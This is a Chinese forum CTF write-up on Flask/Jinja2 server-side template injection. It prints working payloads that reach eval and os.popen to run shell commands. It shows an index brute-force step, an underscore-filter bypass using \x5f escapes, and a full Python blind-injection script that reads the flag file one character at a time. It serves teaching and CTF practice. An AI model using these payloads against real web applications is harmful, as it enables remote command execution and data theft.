SSTI模板注入(内附payload解析)(ctfshow 1024_hello_world wp)

君叹   ·   发表于 2021-12-03 15:46:26   ·   漏洞文章

SSTI模板注入

ssti模板注入针对的是使用python——flask轻量级web框架编写的网站

漏洞的成因
将用户输入的数据未经过滤直接渲染
这不仅会导致XSS跨站脚本攻击
同时也会导致远程命令执行漏洞

图中,我们可以看到我们传入的数据为
{{ 3 *3 }}
返回值为9
代表这里传入的东西会被后端运行

打开学院的SSTI漏洞靶场
WP里给到的是说要传入一个name值

我们传入
name={{3*3}}
可以看到这里回显了hello 9

这里直接利用一下官方给到的payload
文章后面会对payload进行详细解读

  1. {% for c in [].__class__.__base__.__subclasses__() %}
  2. {% if c.__name__ == 'catch_warnings' %}
  3. {% for b in c.__init__.__globals__.values() %}
  4. {% if b.__class__ == {}.__class__ %}
  5. {% if 'eval' in b.keys() %}
  6. {{ b['eval']('__import__("os").popen("id").read()') }}
  7. {% endif %}
  8. {% endif %}
  9. {% endfor %}
  10. {% endif %}
  11. {% endfor %}


传入后可以看到执行了里面的id命令

ls /

看到flag,直接提交

这里来粗略解释一下payload
先将其转为python代码来看
我们大致能够看出来最后是调用了python的命令执行函数
[].class.base.subclasses()是一个可遍历对象
根据下面这句
if c.__name__ == 'catch_warnings':
我们大致能够判断出来
这个可遍历对象中有名称为 catch_warnings 的一个对象
这个对象里面存在能够让我们命令执行的东西

  1. for c in [].__class__.__base__.__subclasses__():
  2. if c.__name__ == 'catch_warnings':
  3. for b in c.__init__.__globals__.values():
  4. if b.__class__ == {}.__class__:
  5. if 'eval' in b.keys():
  6. b['eval']("__import__('os').popen('id').read()")

我们在里面加入一个变量
用来计算一下我们想要的命令执行函数是这个可遍历对象的第几个
也就是得到我们可直接下标的数字

  1. jici = 0
  2. for c in [].__class__.__base__.__subclasses__():
  3. jici += 1
  4. if c.__name__ == 'catch_warnings':
  5. for b in c.__init__.__globals__.values():
  6. if b.__class__ == {}.__class__:
  7. if 'eval' in b.keys():
  8. print(jici)
  9. w = b['eval']("__import__('os').popen('id').read()")
  10. print(w)

经测试,我们得到的数字是216
下面那串红的的大概意思就是没有id这个命令
因为我用的是windows系统
但是能证明可以进行命令执行即可

然后我们把上半段用来找下标的删除
替换一下

  1. c = [].__class__.__base__.__subclasses__()[216]
  2. for b in c.__init__.__globals__.values():
  3. if b.__class__ == {}.__class__:
  4. if 'eval' in b.keys():
  5. w = b['eval']("__import__('os').popen('id').read()")
  6. print(w)

没想到直接报错了

经过尝试,将216的值-1
使用215即可
这里呢因为不同环境
这个下标的数字也不一样

再次使用上面的方法
我们得到的数字是8

  1. jici = 0
  2. for b in c.__init__.__globals__.values():
  3. jici += 1
  4. if b.__class__ == {}.__class__:
  5. if 'eval' in b.keys():
  6. print(jici)
  7. w = b['eval']("__import__('os').popen('id').read()")
  8. print(w)

将payload缩减为
[].__class__.__base__.__subclasses__()[215].__init__.__globals__.values()[8]['eval']("__import__('os').popen('id').read()")
这么一句之后
我们执行一下
结果发现报错

报错内容是 dict_value 对象不可下标

当时在这里纠结了很久
之后才看到 .values()这个函数
这样我们就可以得知
[].__class__.__base__.__subclasses__()[215].__init__.__globals__
这一串得到的是字典对象

那么这时候就可以换一下思路了
不去下标
找我们要的东西的key值
直接print()出来的东西我是看不太懂

所以我换了一种方法
这样出来的东西就清晰多了

  1. c = [].__class__.__base__.__subclasses__()[215].__init__.__globals__
  2. for i in c.items():
  3. print(i)


我们继续分析代码
可以看到需要这个遍历的值对象的属性也是字典
按照刚才得到的数字8
我从上往下数
第八个键值对的值正好是个字典
这也正好解释了为什么刚刚得到的下标需要-1
虽然是第216个
但是对于python的下标是从零开始的
所以是215

所以这里把刚刚的payload中的
.values()[8]换成["__builtins__"]
[].__class__.__base__.__subclasses__()[215].__init__.__globals__["__builtins__"]['eval']("__import__('os').popen('id').read()")
再试一次


成功命令执行
所以pyload也可以换成
{{[].__class__.__base__.__subclasses__()[正确的下标].__init__.__globals__["__builtins__"]['eval']("__import__('os').popen('id').read()")}}
我们去靶场再试试


看到这我人也傻了
太激动了,没顾得上吧 正确的下标 这几个字换掉
然后我又试了试没有下标
居然还可以

然后我又随便加了个数字
不行了

我又试了试本地


结果本地给我报了个没有下标的错误
这也给我整不会了
就现在写文章的时候才发现的
有懂的师傅可以评论区解答下

先当做刚刚的意外从来没有发生哈
我们想要找到正确的下标可以用burp跑
这个范围一般是在500以内的
并且能找到好多个

先将抓到的包发送到跑包模块

这里设置为numbers

然后直接开跑
等待一个两百

随后我们把payload里面的下标换成64
发现可以成功代码执行

ctf题目演练

//这里是参考了一位师傅的博客才做出来的
原文链接:https://blog.csdn.net/hiahiachang/article/details/109283286

题目提示 POST:Key
我们这里尝试下以POST方法传入一个传参
传参名为Key

这里再尝试一下传入
{{ 3 * 3 }}

3*3被原原本本的展示出来
至少说明这里{{}}是被过滤掉的

可以再尝试一下控制语句块
{%if %}
传入
{%if 1==1 %}air{% endif %}

在传入 1==2
我们可以发现,当表达式错误时
air不被显示

到这时候就能够证明这里是要用SSTI做出来的
题目将{{}}过滤掉后,我们想要的内容没办法在页面显示出来
所以这里应该用盲注的方法来做
先测试一下还有没有其他东西被过滤掉

传入 ‘’!=1时页面报错
传入 “”!=1时页面正常
说明单引号是被过滤掉的

传入 “”.class != 1 报错
说明这里_很有可能被过滤了
使用大佬博客里的那种方法再试一次

使用\x5f来代替下划线
但是\x5f只能在字符串中被解析
所以使用这种方式进行执行
但是由于没有回显

这是我个人的粗略理解

然后编写脚本
是根据那位师傅的脚本改编的

  1. import requests
  2. import string
  3. def reponse(payload):
  4. url = "http://574ecf5e-513f-41f3-af02-23caf2734f84.challenge.ctf.show/"
  5. res = requests.post(url, data={"key": payload})
  6. if 'ok' in res.text:
  7. return True
  8. return False
  9. def zifupd(num, cmd):
  10. strs = string.digits + string.ascii_lowercase + " -_{}"
  11. for ch in strs:
  12. payload = '{% if ""["\\x5f\\x5fclass\\x5f\\x5f"]["\\x5f\\x5fbase\\x5f\\x5f"]["\\x5f\\x5fsubclasses\\x5f\\x5f"]()[79]["\\x5f\\x5finit\\x5f\\x5f"]' \
  13. '["\\x5f\\x5fglobals\\x5f\\x5f"]["\\x5f\\x5fbuiltins\\x5f\\x5f"]["\\x5f\\x5fimport\\x5f\\x5f"]("os")["\\x5f\\x5fdict\\x5f\\x5f"]["popen"]' \
  14. '("' + cmd + '")["read"]()[' + str(num) + '] == "' + ch + '" %}ok{% endif %}'
  15. if reponse(payload):
  16. print(num)
  17. return ch
  18. return False
  19. if __name__ == '__main__':
  20. q = ''
  21. list_ = []
  22. cmd = 'cat /ctfshow*'
  23. for i in range(100):
  24. r = zifupd(i,cmd)
  25. if r:
  26. q += r
  27. else:
  28. list_.append(q)
  29. print(list_)
  30. q = ''
  31. print(q)
用户名金币积分时间理由
Track-JARVIS 1.00 0 2022-03-17 17:05:51 一个受益终生的帖子~~
叹城 0.80 0 2022-03-17 17:05:41 一个受益终生的帖子~~
whhhhhc 0.80 0 2022-03-17 16:04:27 一个受益终生的帖子~~
Track-JARVIS 1.40 0 2021-12-17 14:02:49 一个受益终生的帖子~~
Track-JARVIS 1.00 0 2021-12-17 14:02:37 一个受益终生的帖子~~
叹城 1.00 0 2021-12-14 08:08:56 一个受益终生的帖子~~
奖励系统 50.00 0 2021-12-14 08:08:15 投稿满 5 赞奖励
Track-劲夫 50.00 0 2021-12-07 17:05:40 一个受益终生的帖子~~

打赏我,让我更有动力~

1 条回复   |  直到 2021-12-7 | 1408 次浏览

Track-劲夫
发表于 2021-12-7

有自己的研究和分析过程,根据分析的结果修改Payload,很不错

评论列表

  • 加载数据中...

编写评论内容
登录后才可发表内容
返回顶部 投诉反馈

© 2016 - 2024 掌控者 All Rights Reserved.